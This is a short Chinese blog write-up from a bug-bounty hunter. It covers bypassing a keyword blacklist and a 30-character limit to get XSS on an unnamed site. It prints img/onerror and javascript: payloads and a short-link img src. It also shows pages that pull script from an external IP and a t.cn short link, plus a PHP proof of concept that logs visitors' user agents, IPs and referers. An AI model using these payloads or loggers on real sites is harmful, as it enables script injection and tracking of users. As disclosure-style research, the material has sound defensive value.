iloveflag-blog

from_img_to_xss

字数统计: 534阅读时长: 2 min
2020/01/16 Share

2020.1.13 估计大家都看到了朋友圈疯狂传的某xss,

1
<img src=1 onerror=alert(xss)>

self-xss自己日自己,当然对方修复也很快,再次输入时出现输入词出现敏感信息
但是当我测试输入一些html标签时,例如h1标签还是能渲染在页面上,那么可以断
定只是采用了黑名单的方式进行检测,并未对html标签进行实体编码,在img标签上
进行思考,舍弃后半部分onerror,只用src=,

1
<IMG SRC=javascript:alert('XSS')>

但是这是老的浏览器了,并不能造成xss
而且要绕过30字的限制,那么可以
利用短链接的形式获取(找的我都想氪金了)

1
<img src="http://c7.gg/xxxxx">

将src引入个人服务器域名上,在服务器上引入xss平台的payload,但是这种方式并不能获取有关信息
如:

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src='http://115.29.170.243/index.php'>
</html>
1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script src=http://t.cn/EGMdTfR></script>
</body>
</html>

看到了这篇文章:
img标签之xss利用从放弃到OAuth授权劫持
例如在服务器上设置给xxx转账或者登录的链接
(并没有找到目标),不过记录下用户浏览器头部还是可以的
简单的POC:

1
2
3
4
5
6
7
8
9
<?php

echo date("Y-m-d-H:i:s");
$USER_AGENT =' USER_AGENT:'.$_SERVER['HTTP_USER_AGENT'].PHP_EOL;
$REMOTE_USER = ' REMOTE_USER'.$_SERVER['REMOTE_USER'].'\n';
$REMOTE_ADDR = ' REMOTE_ADDR'.$_SERVER['REMOTE_ADDR'].'\n';
$HTTP_REFERER = ' HTTP_REFERER'.$_SERVER['HTTP_REFERER'].'\n';
file_put_contents('test/site.txt', $USER_AGENT.$REMOTE_USER.$REMOTE_ADDR.$HTTP_REFERER,FILE_APPEND);
?>

在发送img标签后,在服务器上可以看到记录的user_agent等

提交给src后已经重复了,不知道还有没有更高端的玩法QAQ

CATALOG